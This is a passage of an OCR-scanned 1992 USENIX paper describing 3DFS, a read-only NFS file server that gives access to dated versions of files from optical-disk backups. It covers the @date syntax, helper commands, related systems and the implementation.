disks can fail catastrophically. Such failures may be rare, but when they occur, the resulting loss of data can be
disastrous. Time-sharing file systems typically use simple techniques to recover from magnetic disk failures, such
as copying the magnetic disks to magnetic tape every day, at some time when the system is lightly loaded (c.g.,
4am). If a disk fails, it is restored from the last such tape.

These periodic dumps have a wealth of useful information about the change history of the file system. In theory,
we could use them to provide new services. For example, we could allow a user who had accidentally deleted a
file to recover the version of a file saved that moming-or last week, or last month, or last year. Similarly, users
could trace when a file was changed, and how it was changed.

In practice, though, computer systems rarely provide such services, and if they are provided, they are difficult to
use. One reason is that it cannot be done efficiently if the data is stored on magnetic tapes. To recover an
individual file, someone must locate the correct tape, mount it, and scan it for the desired file. This is inherently
slow. It is even worse if the user does not know the exact file name or modification date (HI think it was the
middle of last month."). However, such services become practical if magnetic tapes are replaced by an optical
disk jukebox.

1.1 3DFS

The "Three Dimensional File Server," or 3DFS™, provides such services. 3DFS is a network file server in a local
area network (Figure 1). 3DFS uses an optical disk jukebox to store the periodic dumps, and allows users to
browse through the saved files. For example, 3DFS allows users io:

• read the version of an individual file on a particular date,
• list all files in a directory as of a particular date,

• UNIX and 3DFS are trademarks of AT&T, NFS is a trademark of Sun Microsystems, and Vax is a trademark of Digital Equipment Corp.
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• detennine what versions are available,
• list all file names that ever existed in a directory,
• compare an old version of a file with the magnetic disk version or with another old version, or
• copy an old version of a file back to a magnetic disk.

Optical Disk Jukebox
, i

- - , ,

l J L J I ' IT 1 I ' I
3DFSWorkstation Workstation r-- I

File Server ,

I I I
I

Ethernet I I I
File Server File And File Server

Compute Server

1 1 --L .-L ...L .-L
L- J -- L- J l-- L--J L-- J

Figure 1: 3DFS network environment.

Roome

To users, 3DFS looks like any other network file server. Users can append @date to any file or directory name to
get the version on that date. A user can use standard commands to browse through the 3DFS file system. 3DFS is
read-only, and refuses all ordinary write requests.

A conventional file system has two dimensions, depth down the directory tree and breadth across a directory; 3DFS
adds a third dimension extending back in time.

Figure 2: 3DFS File Model.

Adding a dump to 3DFS involves running a user-level program on a magnetic disk server. This program finds all
files that have been modified since the last time it was run, and sends them over the network to the 3DFS server.
The 3DFS server writes them to optical disk and updates various indexes 'on its magnetic disk. This is automatic,
requires no operator intervention, and can be done while 3DFS and the conventional file servers are handling other
requests. The system administrator decides how often this is"done. Typically this is done daily, at various times
between midnight and 7:00am.

Note that 3DFS can accept dumps from any UNIX® file system, not just from NFS servers. Thus 3DFS can provide
time-oriented access to local file systems, PC file systems, etc.
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1.2 Status And Outline
A prototype of 3DFS, called GCAN [Roo91], was designed in the middle of 1988, and has been running since
February 1989 in a network of Sun and Vax® computers. This network is used by over 100 people at AT&T Bell
Labs, and has more than 80 diskless Sun workstations, 12 Sun file servers, and one Vax 8650. Within a year, those
users had accepted GeAN an essential part of their computing environment.

Based on our experience with GCAN, the system was redesigned and reimplemented during 1991. The changes
included more reliable linking of versions, faster access, and the use of a standard, commercially available optical
disk jukebox driver that supports a variety of jukeboxes. The result was renamed 3DFS, and is now available as an
AT&T product.

Section 2 describes the file system interface to 3DFS, and after that, Section 3 describes related work. Section 4
describes how 3DFS is implemented, and Section 5presents our conclusions.

2. User Interface

2.1 Basics

phero
polyhymnia
rubato

newage
novax
papyrus

kephen
melpomene
mnemosyne

forte
fugit
hadrian

Let's say that 3DFS is mounted on / 3dfs. The top directory has a sub-directory for each computer whose files are
saved by 3DFS, and under each directory is 3DFS's image of that computer's file system:

$ Is /3dfs
bebop
brad
calliope

By default, the directory tree under bebop has the most recently saved image of bebop's file system: that is,
yesterday's version. Users access older versions by appending an optional date specification to any file or
directory name:

name @ day month year : hour : minute

This tells 3DFS to use the most recent version of that file or directory whose modification time was on or before the
indicated date. The month is a name, and the others are numbers. 3DFS accepts the standard three-character month
names, in upper or lower case, plus a variety of alternatives (e.g., jul, JUL, July, july). If the hour and
minute are omitted, 3DFS uses 23:59 (end of the day), and if the year is omitted, 3DFS uses the current year. Thus
for the machine bebop, the following command lists the files in the directory /usr /wdr as of the end of July 9:

$ ls -1 /3dfs/bebop/usr/wdr@9july

The following command lists the latest version of x . c that was modified on or before that date:

$ ls -1 /3dfs/bebop/usr/wdr/x.c@9july

The date specification is an optional modifier; it is not considered part of the file name. If the date specification is
omitted, 3DFS uses the default date. Initially the default date is the cmrent date, so that any request gets the most
recently saved version of that file or directory (e.g., the version as of early this morning). If a date specification is
attached to a directory, that date becomes the default date for everything that uses that access path. Thus the
following refer to the same version of wdr:

/3dfs/bebop/usr/wdr@9july
/3dfs/bebop/usr@9jul/wdr
/3dfs/bebop@9JUL/usr/wdr

A process can specify a date when setting its current directory. In this case, all subsequent non-absolute file
references will use that default date. Thus the following reads the Sept. 22 version of x . c:
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$ cd /3dfs/bebop/usr/wdr@22sep
$ cat x.c

As an additional example, the following commands change to the July 9 version of the current directory, list all . c
files as of that date, and then compare the June 28 and July 9 versions of x. c:

$ cd .@9july
$ ls -1 *.c; diff x.c x.c@28june

The following restores x. c by copying the July 9 version back to magnetic disk:

$ cp .@9jul/x.c /usr/wdr

Finally, it is possible to execute binary files stored in 3DFS:

$ /3dfs/bebop/bin@25jul/ls -1 x.c

2.2 Ordinary Commands, Magic File Names

It must be emphasized that the above examples used ordinary UNIX commands. The 3DFS server itself interprets
the @suffixes. Commands do not need to be compiled with a special library, and no kernel changes are needed for
the clients which mount 3DFS or for the servers which dump files to 3DFS.

You can think of x@23aug as a pseudo-file. It is a file, in that it can be opened by any command, just like any
other file. But when asked for the contents of a directory, 3DFS does not give pseudo-file names; 3DFS gives x
rather than x@23aug. As a result, file name expansion does not work on the @suffixes, and they do not appear in
directory listings; hence the term pseudo-files. Thus cat x@23aug works, but cat x@*aug does not.

The @notation is needed because 3DFS is more complicated than other file servers. In a conventional file system, a
file or directory is completely specified by its pathname. 3DFS needs the pathname plus a default date, and a set of
option flags that define the semantics of 3DFS (see below). 3DFS uses the @mechanism to change the date and
those flags. The date and flags attached to a directory automatically propagate to any files or directories denved
from that directory--even when using .. to go back up the directory tree. For example, the following lists the
Sept. 5 version of the include directory:

$ cd src@5sep; Is -1 .. /include

2.3 Other Features

3DFS interprets the string after the @ as a comma-separated list of specifiers, one of which can be a date. Other
specifiers change the date and/or the option flags. For example, the keyword latest means use the latest version
dumped to 3DFS, rather than the version on a specific date; this is the initial default date.

3DFS assigns a version number to each version of a file or directory, starting with 1. The letter v followed by a
number means use that version, as in:

$ Is -1 x.c@v27

Version 0 gives the latest version. One of the option flags is linkvers, which tells 3DFS to replace the link
count with the version number (the link count is not very interesting in 3DFS). Thus the following says that the
July 2 version is version number 14:

$ Is -1 x.c@2jul,linkvers
-rw-r--r-- 14 wdr 7020 Jul 2 12:27 x.c@2jul,linkvers

If linkvers is used on a directory, it applies to all subsequent references. The keyword nolinkvers turns
this option off. The keyword prev tells 3DFS to find the previous version of a file, as in:
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$ 1s -1 x.c@2ju1 x.c@2ju1,prev
-rw-r--r-- 1 wdr 7020 Ju1 2 12:27 x.c@2ju1
-rw-r--r-- 1 wdr 6123 Ju1 1 12:27 x.c@2ju1,prev

The keyword next tells 3DFS to get the next version of a file, and is otherwise identical to prevo

Nonnally the file system image presented by 3DFS reflects all file deletions as of the indicated date. If zilch was
deleted on July 2 and recreated on July 10, 3DFS will give a not-found error for zilch@4jul. There are two
ways around this. First, if the file does not exist on the indicated date, prev tells 3DFS to go back to the previous
version that did exist, as in:

$ 1s -1 zi1ch@4jul
zi1ch@4ju1 not found
$ 1s -1 zilch@4ju1,prev
-rw-r--r-- 1 wdr 3036 Jul 1 15:23 zilch@4jul,prev

Second, the keyword noimage tells 3DFS to ignore all file deletions. Thus:

$ Is .@noimage

lists all names that have ever existed in this directory, and

$ 1s .@noimage/*src*/*.c

lists all . c files that have ever existed in a directory with src.

3DFS has several file and directory attributes that do not fit in the UNIX "stat" structure. These include the version
number, default date, and option flag settings. To make this infonn~tion available, 3DFS provides a stat
pseudo-file for each file and directory. This is a small «1024 character) text file whose lines are in the
keyword:value fonnat:

$ cat etc@2nov,stat
Fsid: 5
Hnode: 424451
Version: 106
MaxVers: 120
Inode: 2432
Uid: 3
Gid: 10
DefDate: 689144399 Sat Nov 2 23:59:59 1991
HandleOptions: novers,nodumpdate,nolinkvers,image,noraw1ink
ModDate: 688307702 Thu Oct 24 08:35:02 1991
InodeDate: 688307702 Thu Oct 24 08:35:02 1991
HdrOptAddr: 12.011aa2c
PrevOptAddr: 12.0144d70

Fsid and Hnode are internal identifiers that 3DFS assigns to uniquely identify a file (see Section 4). Version is
the version number, MaxVers is the latest version of this file, DefDate is the default date, and
Hand1eOptions are the 3DFS options that are in effect ModDate and InodeDate are the data- and inode­
modification times for this file (the 1s command also reports these). HdrOptAddr, etc., give the optical disk
addresses (disk number and offset) of various data structures used by 3DFS. These stat files were extremely
useful while developing 3DFS; they provided a simple window onto 3DFS's internal data structures.

2.4 New Commands

We added a few new commands to make it easier to use 3DFS. The 3dpath command takes a file (or directory)
name in a magnetic disk file system, and prints the full path name of that file in 3DFS. For example, if the current
directory is in a magnetic disk file system, the following displays today's changes to req. c:
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$ diff req.c '3dpath req.c'

Another new command is 3d1s, which is similar to 1s except that it lists all versions of each file:

$ 3d1s -1 req.c
-rw-r--r-- wdr 55467 18Sep91 17:02 req.c@18Sep91
-rw-r--r-- wdr 54944 12Sep91 11:41 req.c@12Sep91
-rw-r--r-- wdr 52880 5Sep91 17:14 req.c@05Sep91
-rw-r--r-- wdr 52181 30Aug91 14:07 req.c@30Aug91
-rw-r--r-- wdr 48962 14Aug91 08:33 req.c@14Aug91
-rw-r--r-- wdr 49145 23Jun91 12:27 req.c@23Jun91
-rw-r--r-- wdr 48730 20Jun91 14:11 req.c@20Jun91
-rw-r--r-- wdr 48558 9Jun91 09:16 req.c@09Jun91

As another example, the following searches all available versions of the file named req. c:

$ grep foo '3d1s req.c'

Ifgiven the name of a file in a magnetic disk file system, 3d1s uses 3dpath to get the full path name of that file
in 3DFS, and then lists the available versions. Thus 3d1s works on magnetic disk files as well 3DFS files.

3d1s is an ordinary user command; it uses the prev option to find the available versions. That is, 3d1s first
finds the date of the latest version (say 18sep) and outputs that version. 3d1s then asks for the previous version
(18sep, prev), finds the date of that version, and outputs it. 3d1s continues until 3DFS says there is no
previous version.

One other new command is 3dpwd. This is an extension of the pwd command, which prints the name of the
current directory. If the current directory is within the 3DFS file system, 3dpwd adds the date and option flags to
the pathname:

$ cd /3dfs/bebop/usr/wdr; 3dpwd
/3dfs/bebop@1atest/usr/wdr
$ cd .@23jun91,1inkvers; 3dpwd
/3dfs/bebop@23jun91,1inkvers/usr/wdr

If the current directory is not in 3DFS, 3dpwd acts like pwd and prints the unadorned name of the current
directory.

2.5 Symbolic Links

3DFS stores symbolic links with their real values. But when a user accesses that symbolic link, 3DFS rewrites the
link value to keep the link within 3DFS. For example, suppose that /usr/wdr is a symbolic link to /b3/wdr.
When giving the symbolic link value to a client, 3DFS replaces /b3 with /3dfs/bebop/b3, and inserts the
default date, as in:

$ cd /3dfs/bebop/usr@2sep; 1s -1d wdr
1rwxr-xr-x 1 root 7 Jun 01 1991 wdr -> /3dfs/bebop/b3@2sep91/wdr

If 3DFS didn't do that, an access to wdr would retwn the user to /b3/wdr in the magnetic disk file system.
These modifications are controlled by a set of symbolic link rewrite rules provided by the 3DFS system
administrator. If a link does not match any of the rewrite rules, 3DFS does not modify it.

Sometimes the user really wants the symbolic link value as it existed on magnetic disk. For example, when
copying a directory tree from 3DFS to magnetic disk you will want symbolic links to refer to the magnetic disk file
system, not 3DFS. Therefore 3DFS accepts the keyword raw1ink, which means "do not rewrite symbolic links":

$ cd /3dfs/bebop/usr; 1s -1d wdr@raw1ink
1rwxr-xr-x 1 root 7 Jun 01 1991 wdr@raw1ink -> /b3/wdr

410 USENIX - Winter '92



Roome 3DFS: A Time-Oriented File Server

2.6 Death Masks And File Migration

When a machine is decommissioned, the final state of its file system can be left in 3DFS as a death mask. Thus any
user who needs files from the decommissioned machine can get then from 3DFS.

Symbolic links can be used to migrate large, rarely changed files or directory trees from a magnetic disk file
system to 3DFS-and still make them look as if they were still in the magnetic disk file system. Suppose we want
to migrate x. c in / us r / wdr to 3DFS. First we verify that x. c has been saved in 3DFS, and get its date (say
June 9, 1991). Then we replace x. c on bebop with a symbolic link to the version in 3DFS:

$ rm x.c; In -s /3dfs/bebop/usr@9jun91/wdr/x.c .

Then the operating system redirects any reference to x. c to the version stored in 3DFS. As far as the user is
concerned, x. c is still in / us r / wdr; the only difference is that accesses are slightly slower, and the file cannot
be written. This technique works for directories as well as files. For example, we do this for login directories of
users who have left our organization.

2.7 Protection And Security

3DFS uses the permission bits and owner/user/group ids to do the same checking as any other UNIX file server.
Files that are read-protected on the magnetic disk file server will be read-protected in 3DFS. 3DFS also uses the
same export-list mechanism as a Sun NFS file server.

3DFS has some additional protection features. First of all, 3DFS is a read-only file system; 3DFS refuses all write
requests. You cannot change history. And second, 3DFS has per-server access restriction lists. For example,
suppose 3DFS is saving dumps from bebop and novax, and suppose that novax is a general file server, but
bebop is a standalone system. Then the 3DFS administrator can specify that any client can access novax's part
of the 3DFS file system, but only bebop can access bebop's part. As a result, bebop can have its own user id
space, which can overlap that of novax, without any loss of protection.

2.8 Caveats

The time-oriented access and pseudo-file features of 3DFS stretch the concept of a UNIX file system. While 3DFS
does look remarkably like an ordinary file system, there are a few clashes.

An inherent limitation is that 3DFS does not know when a file is renamed. 3DFS uses pathnames to link file
versions; changing a pathname breaks the history for that file. For example, if you move x . c to y . c on Sept. 1,
and then ask for y. c@23aug,3DFS will say "not found." Of course, x. c@23aug will work, but 3DFS does not
know about the rename. Directory renames are more insidious; because 3DFS uses pathnames, renaming a
directory renames all the files under it and breaks their history.

Another inherent problem is that if a read-protected file was accidentally left unprotected on one day, 3DFS will
make that version available for all time. As yet this has not been a problem (users who are paranoid about read­
protection don't make this mistake!), but if necessary it would be easy for 3DFS to use the access permissions for
the most recent version of a file, if those are more restrictive than an earlier version.

When listing the contents of a directory, 3DFS does not append the date to the file names. Therefore file name
expansion does not work on a name with an @. Adding the date to the file name would cure this problem, but
would clutter the directory and would cause other problems (e.g., then *. c would not work). Users can work
around this restriction by attaching the date to the directory (e.g., . @6may/ * .c) or by using the 3dls command
to generate the names of the available versions. Of course, the long-term solution is to change the file name
expansion mechanism so that it knows about 3DFS, but that violates our goal of not requiring any changes to UNIX.

Because 3DFS is a file server, its error messages are constrained to the UNIX error codes. Therefore 3DFS must say
"not found", instead of "bad date," or "file name exists, but not on that date," or "the optical disks for that date
are on the shelf-ask the operator to insert them." We could have defined new error codes, but again, we did not
want to change UNIX.
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Finally, the optical disk jukebox takes about 15 seconds to switch disks, and this causes some problems. For
example, 3DFS cannot give the user any warning that a disk switch is in progress. Furthermore, NFS uses an
exponential backoff and repeat protocol, and adapts the timeout based on the observed response time.
Unfortunately, this adaptation mechanism cannot cope with the extreme variation in response time that 3DFS can
exhibit, so we occasionally get timeouts. Fortunately,3DFS uses extensive caching (see Section 4), so if a request
does timeout, the user can wait a minute and try again; by that time, 3DFS will have loaded its cache. One
solution, of course, would be to modify the NFS protocol or invent our own. We rejected that approach because it
would require changing the kernel on every 3DFS client. Such kernel modifications would have been more
annoying to us-and to our users-than an occasional timeout.

3. Related Work
Several systems provide similar functionality to 3DFS. However, 3DFS has several unique features:

• 3DFS looks like a regular file server, and uses a standard interface (NFS),
• 3DFS provides versions of directories as well as files,
• you can use ordinary UNIX commands to browse through and access the old versions,
• 3DFS provides on-line access to old versions, so they do not have to be copied to magnetic disk, and
• 3DFS accepts dates at any point in the file system hierarchy.

Various operating systems, such as IBM's OS/370 and DEC's VMS, provide versions of files. With some
systems, each update creates a new version, and preserves.the old version. With others, only selected updates
create a new version. However, versions are only provided for files, not directories, and (at least for OS/370) only
for selected files. Old versions are accessed by version number, not date. The old versions are stored on magnetic
disk, along with the latest version. Because space is limited, only a few versions are preserved for each file; the
others are automatically deleted. Finally, if the file is deleted, it's gone; the old versions cannot retrieved.

The Cedar File System (CFS) [Gif88] provides immutable versions of files: a user gets a file from CPS, updates a
local copy of the file, and when done, writes the file back to CFS as a new, read-only version. CFS allows access
by date as well as by version number, and provides versions of file lists, which take the place of UNIX directories.
However, CFS only preserves a few old versions of each file.

The File Motel [Hum88] is similar to 3DFS, in that it stores old versions of files and directories on optical disk,
allows users to retrieve old versions by date, and retains old versions indefinitely. The difference is in the user
interface. The File Motel provides its own access commands: a search command, which tells you what versions
are available, and a copyback command, which copies selected versions to magnetic disk. With 3DFS, old versions
can be accessed in-place, using standard UNIX commands; files do not have to be copied to magnetic disk. Also,
while the File Motel provides versions of directories, such access is very slow.

The Plan 9 file server [Pik90] is similar to 3DFS, in that Plan 9 also provides access to old versions through the file
system. Plan 9 keeps the true file system on optical disk, and has a two-level cache on magnetic disk and main
memory. Updates are applied to the memory and magnetic disk caches, using a copy-on-write scheme.
Periodically (e.g, daily), the file server freezes all activity and copies the updated blocks to optical disk. Thus the
Plan 9 server does its own backup, and Plan 9 allows users to access the images formed by these daily backups.

Plan 9 differs from 3DFS in the interface and implementation. Plan 9 only allows dates to be attached to the root of
the file system; /1991/0402/usr/foo/bar gives the April 2 version of /usr/foo/bar. 3DFS accepts
dates at any part of the file system. However, the Plan 9 dates are real; they appear in a directory listing, and file
name expansion works on them. Thus 3DFS accepts foo@2apr, which is hard to do in Plan 9, while Plan 9
allows /1991/04*/usr/foo (for all April versions of a file), which requires a special command in 3DFS.
3DFS has some features not in Plan 9, such as noimage, which gives all names that have ever existed in a
directory.

As for the implementation, 3DFS provides time-oriented access for any existing file system, while Plan 9 only
provides that for the files in the Plan 9 file system. Of course Plan 9 can provide services that 3DFS cannot, such as
automatically archiving files to optical disk, and transparently de-archiving them on write.
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Finally, a wealth of techniques have been developed for recovery and version control for database management
systems [Ber87]. However, in general these methods are too expensive to use for file systems.

4. Implementation
A 3DFS server has two layers: an upper-level NFS interface, which we'll call 3DFS, and a lower-level version
storage engine, called ABARS (Automated Backup And Recovery System [Bar90]). ABARS gets daily dumps from
various file servers in a network, and stores them on optical disk. The 3DFS layer constructs an NFS file system
from those dumps. We have tried to cleanly separate the two layers. For example, ABARS handles the optical disk
and jukebox dependencies; 3DFS doesn't care how or where the versions are stored. This paper concentrates on
the 3DFS layer. The 3DFS layer is derived from the GCAN prototype [Roo91]; ABARS has been an AT&T product
for several years. 3DFS replaces ABARS's copyback restore interface, and ABARS replaces GCAN's optical disk
driver and dump-collection mechanism.

ABARS supports read-write optical disks as well as write-once (WORM) disks. However, for compatibility, 3DFS
treats all optical disks as write-once.

4.1 Basics
3DFS assigns a unique file server id (fsid) number to each file server, and assigns a unique hnode number to each
pathname in a server. Hnode numbers are similar to UNIX inode numbers, in that they are are 32-bit internal file
identifiers, and directories map names to hnode numbers. The difference is that hnode numbers are permanent
identifiers; they are one-to-one with pathnames, and are never reused. For example, suppose 3DFS assigns hnode
number 47 to /usr /wdr. If that file is deleted and later recreated, 3DFS will still use hnode 47 for it Each server
has a separate hnode number space, and 3DFS has a set of versions for each hnode. Thus a specific version of a file
or directory is uniquely identified by a (fsid, hnode, version) triple.

The dumps that ABARS writes to optical disk consist of a series of file and directory versions (Figure 3). Each
version has a fixed-size header followed by data. Each header has a permanent optical disk address. For our
examples, assume that an address is an optical disk number and an offset, such as 14.45610. The important thing
is that given the optical address of a header, 3DFS can read the header or data for that file or directory version.

dump header hnode 123: hnode456: hnode 598:

fsid 17 hdrl data hdr I data hdr 1 data

(Dumps for other file servers)

Figure 3: Dumps on optical disk.

dump trailer

dump trailer

hnode692:

hdr data

hnode 598:

hdr data

(Dumps for other file servers)

hnode 231:

hdr data

dump header
fsid 17

Each header includes UNIX information such as mode, permissions, size, modification time, etc., plus 3DFS
information, such as the hnode and version numbers, and the optical disk address of the previous version of this
file or directory. For a directory, the data is a set of (name,hnode) pairs for all names in that version of the
directory.
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4.2 Hnodes

3DFS maintains an hnode database for each file server. Each database entry has a pathname, the hnode number
assigned by 3DFS, the most recent version number, and the optical disk address of the header for that version. An
entry can be retrieved by either pathname or hnode number. An hnode number can be assigned for a new
pathname, and once an hnode entry exists, its version number and optical disk address can be updated. Once an
hnode entry has been created, it cannot be deleted, and the hnode number and pathname cannot be changed.

On optical disk, the header of each version of a file or directory has the optical disk address of the previous version
of that file, and the hnode database points to the most recent version, as in Figure 4. Thus given the hnode number
of a file, we can follow this chain to find the version at a given date or version number (3DFS uses caches to speed
up the linear search; see below). Because we want to be able to use write-once optical disks, a file version cannot
be updated once it is written to optical disk. This precludes doubly-linked structures.

Hnode DB, fsid 17:

14,22 Sep 1991

13, 10 Sep 1991

12,28 Aug 1991

hnode I vers I voI.offset

6.214804 hnode 123, vers

123 I 14 I 6.214804 1 header I data I--I

6.106380 \ hnode 123, vers

I header I data I
4.987664 I hnode 123, vers

I header I data I

Figure 4: Hnode database and linked versions.

The hnode database uses UNIX files in the 3DFS server's local magnetic disk. If lost, it can be recreated by reading
the dumps on optical disk. The hnode database takes about 40 bytes per pathname (actually 24 bytes plus the
length of the last leaf name in the pathname), and only grows when pathnames are added. The size appears
reasonable; for a small system, the hnode database only takes a few megabytes. A large system, with (say) 4
million pathnames, would need 160 megabytes for the hnode database. That might require adding another disk to
the 3DFS server. However, if UNIX files average 15 kbytes, 4 million names corresponds to 60 gigabytes of
magnetic disk space. Compared to that, an extta disk on the 3DFS server is trivial.

4.3 Adding Dumps

Dumps are initiated by the 3DFS server, according to a schedule provided by the administrator. The 3DFS server
starts a "scanner" process on the remote file server, and pipes its output over the network to a "collector" process
on the 3DFS server. The scanner searches the file system for all files and directories that have changed since the
last dump. For each, the scanner writes a header, the pathname, and the data to the collector. For directories, the
data is a list of names currently in the directory. The scanner process uses standard UNIX commands to search the
file system; it is independent of the file system structure, and is easily portable. It works on Suns, Vaxen,
Pyramids, Crays, etc.
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The collector writes a modified version of each entry to optical disk. The UNIX part of the header comes from the
scanner's header. To get the 3DFS header, the collector looks up the pathname in the hnode database, adding it if
needed. That gives the hnode number, the optical disk address of the previous version, and the version number for
this version. For a directory, the collector looks up each name in the hnode database, and writes (name,hnode)
pairs to optical disk. After writing the header and data for a file, the collector updates the hnode database to have
the version number and optical disk address of the just written header.

Although adding a dump requires extensive searching and updating of the hnode database, as yet the hnode
database has not been a bottleneck. In general, the bottleneck for dumps is either the speed of the network, or else
the write speed of the optical disk (most optical disks write at less than 200 kbytes/sec).

4.4 NFS Requests

NFS [Sun88] is a stateless remote procedure call (RPC) protocol [Bir84]. Each request is independent; the server
does not maintain state between requests. For each request, the client's operating system packages the request
arguments into a linear string, sends that data to the server via the underlying TCP/IP protocols, and waits for the
server's reply. An agent process in the server receives the request, executes it, and returns the reply to the client.
Each agent handles one request at a time, although the server can have several agent processes accepting requests.

The agents in 3DFS are user-level processes, as opposed to kernel processes used by other NFS servers. These
agent processes take requests from a common queue, and use shared memory segments for common caches. The
advantage of user-level processes is that they are easier to write and test, and are more portable. For example, they
can open files, print error messages, use large stacks, etc. We can use a conventional debugger on them, and errors
cannot crash the server. Furthermore, we can install a new version of the 3DFS server in 30 seconds Gust kill the
old agent processes and restart them). The disadvantage is that user-level processes are slightly slower. Given that
the optical disks are relatively slow, this is not as important for 3DFS. For us, the portability and ease of
programming make up for the slower speed.

3DFS only uses five of the request types defined by the NFS protocol; the other requests update files, and are
rejected by 3DFS. Most NFS requests take a file handle as an argument. A file handle is an NFS server's internal
file identifier, and is 32 bytes long. The handle is opaque to the client: the client does not examine the data in the
handle. The server defines the handle format, and different servers use different handle formats. Normally the
client supplies a handle that the NFS server returned as the result of a previous request.

The handle for the 3DFS root comes from the mount server; the rest come from lookup requests. The arguments
for lookup are a file handle for a directory and a name in that directory. The server searches the directory defined
by the handle for the name. If it exists, the server makes a new handle for that file (or directory), and returns that
handle and the attributes of that file. If that file name does not exist, the server returns an error code.

The getattr request returns various attributes of the file described by that handle: the type and size of the file,
the last modification date, etc. The read request takes as arguments a file handle for an ordinary file, an offset,
and a length. The server reads that many bytes starting at that offset, and returns that data to the client.

The readdir request takes as arguments a file handle for a directory, an offset, and a length. It is similar to
read, except that it is for directories. This request returns a list of (name.id·number) pairs in a canonical formal.
This request is different from read because data that the server returns is not necessarily identical to the data
stored on disk (for example, the server compresses out unused space). The readlink request takes as argument
a file handle for a symbolic link, and returns the file name to which requests are to be redirected.

In 3DFS, the handle holds the state information needed for a request:

• The (fsid,hnode,version) of this file or directory. The version number may be 0, for "latest version" .
• The default date, as a UNIX time stamp; 0 means "latest."
• Bit flags indicating various options, such as linkvers and rawlink.

For getattr, 3DFS gets the header information for the indicated version of the hnode number. As a worse case,
3DFS uses the hnode database to locate the most recent entry, and then follows the chain to the desired version.
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However, as described below, the caches speed this up. The header has everything needed for the reply. For a
read request, 3DFS also gets the header, and verifies that the client has read permission on that version. 3DFS
then reads the data from optical disk and returns iL The readdir and readlink requests are similar.

3DFS uses the option flags in the handle to change its actions as needed. For example, if the linkvers option is
on, getattr replaces the link count with the version number. If rawlink is on, readlink returns the raw
value of the symbolic link; otherwise it returns a modified value, as described in Section 2.5. If noimage is on,
readdir uses the hnode database to find all names that have ever appeared in this directory; otherwise readdir
returns the contents of the selected version of the directory as stored on optical disk.

The lookup request is the most complicated. First, suppose that the name is a simple reference, such as src.
3DFS gets the header for the version of the directory given in the handle, and verifies that the client has search
permission on that version. 3DFS then reads (name,hnode) pairs from the directory, looking for src. If there is no
entry, 3DFS returns a not-found error. Otherwise 3DFS gets the version of src's hnode on the default date given
in the handle, and returns a new handle with the hnode and version number for that version of src. The new
handle's default date and flags are the same as those in the directory handle, so the default date automatically
propagates down an access path.

Now suppose the client asks for src@2sep. After parsing the name, 3DFS gets the Sept. 2 version of the
directory, verifies that the client has search permission on it, and reads the (name,hnode) pairs in that version. If
there is no entry for src, then src didn't exist on Sept. 2, and 3DFS returns a not-found error. Otherwise 3DFS
gets the SepL 2 version of src's hnode, and creates and returns a handle with that version number. 3DFS changes
the default date to Sept. 2, so if s rc is a directory, the new default date will automatically propagate down the
access path. 3DFS handles the other options similarly.

4.5 Locating Versions

3DFS needs to locate a particular version of an hnode, either by date or by version number. As a worse case, 3DFS
can use the hnode database to locate the most recent entry, and then follow the chain to the desired version.
However, that can be very slow, so 3DFS uses two caches to speed up that search. The first is the header cache. It
contains all the information 3DFS needs from the optical disk header of a particular version of a file or directory:
type, access permissions, size, modification date, version number, address of previous version, etc. The header
cache is keyed by the (fsid,hnode,version) triple.

The other is the version cache. Each cache entry has a (fsid,hnode,version) triple, plus the modification time of
that version and the optical disk address of the header. However, the version cache only has entries for every N'th
version; currently N is 5. The version cache is keyed by (fsid,hnode) pairs.

To locate a specific version number of an hnode, say version 10,3DFS first searches the header cache for that
version number. If there is no entry, 3DFS then searches the version cache for that fsid and hnode, looking for the
entry with the smallest version number greater than or equal to 10. If 3DFS finds one, it uses that as the starting
point for the linear search. If not, 3DFS starts from the most recent version. 3DFS adds entries to the header and
version caches as it follows the chain.

To locate a version for a particular date, 3DFS searches the version cache for that fsid and hnode, looking for the
smallest modification time greater than then desired date. That version becomes the start for the linear search.

The 3DFS agent processes use shared memory segments for these caches. Furthermore, these are two-level caches;
when an entry is deleted from the shared memory cache, it is written to a cache file on 3DFS's local magnetic disk
rather than being completely discarded. The magnetic disk caches are large but configurable; the default is about
25 megabytes each. We have tried to make the version cache large enough to hold the N'th version of every file.
If that is true, then 3DFS will have to do a linear search through at most N-I versions. 3DFS automatically
recreates these cache files as needed, so if the local magnetic disk is destroyed, the administrator can just clear the
cache file and restart 3DFS.
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3DFS is an an example of merging a research project, GCAN, with an existing product, ABARS. The version of
3DFS described here is the second attempt at merging them; the first did not succeed.

First. GCAN used UNIX inode numbers as its internal file identifiers. From GCAN we learned that internal file
identifiers and version numbers were a good idea-but UNIX inode numbers were not suitable. Things like the
emacs editor and file system reorganizations change the inode number of a file, so an inode number is not a
permanent id. Furthermore, UNIX reuses inode numbers when a file is deleted, so two files with the same inode
number are not necessarily the same. While GCAN managed to work with inode numbers (more or less), the result
was extremely complex, and it required a lot of optical disk searching. Therefore 3DFS invents its own internal file
identifiers (hnode numbers) based on pathnames.

GCAN had an 8 megabyte memory cache of optical disk blocks. We learned that (a) 8 megabytes wasn't enough,
(b) we should to save the cache on magnetic disk so it would survive restarts, and (c) we should cache headers and
selected infonnation rather than raw optical disk blocks.

When merging a research project and a production system, we learned that both must be willing to compromise.
GCAN was written in Concurrent C [Geh89], and used a real-time kernel running on a separate Single Board
Computer plugged into the backplane of a Sun workstation. This included the optical disk drivers and the jukebox
controller. The author still thinks this is a superior environment for writing complex multi-threaded systems such
as file servers (of course, being a co-inventor of Concurrent C, the author admits that he might be slightly biased).
Nevertheless it was a different programming environment, and would have required a lot of training and support.
So we gave up the idea of using Concurrent C, and revised GCAN to use the standard UNIX environment.

ButABARS also had to compromise. At first. 3DFS was to be added on top of ABARS, with no changes to ABARS.
Recall that 3DFS now keeps the version number, etc., in the header on optical disk. But that required a change to
ABARS. Therefore the first 3DFS attempt kept the 3DFS header information on magnetic disk, rather than on
optical disk. That complicated 3DFS, required a lot of magnetic disk space on the 3DFS server, and made it very
difficult to recover from a magnetic disk crash. Therefore we abandoned that approach, and changed ABARS to
allow an optional 3DFS header on optical disk. This was a relatively simple change to ABARS, but it greatly
simplified 3DFS, and made the overall system much easier to maintain.

Finally, we learned to minimize the data that must be on magnetic disk, and to design for crash recovery and
concurrency from the start. The first 3DFS attempt assumed that crash recovery and concurrency control could be
added later; that did not work. In the final version of3DFS, only the hnode database must be on magnetic disk, and
the first thing we did was figure out how to recover it. 3DFS has several large cache files, but those can be
discarded after a disk crash or downsized if there is little space available.

s. Conclusions

The most important feature of 3DFS is that it provides on-line access to old versions via the file system, rather than
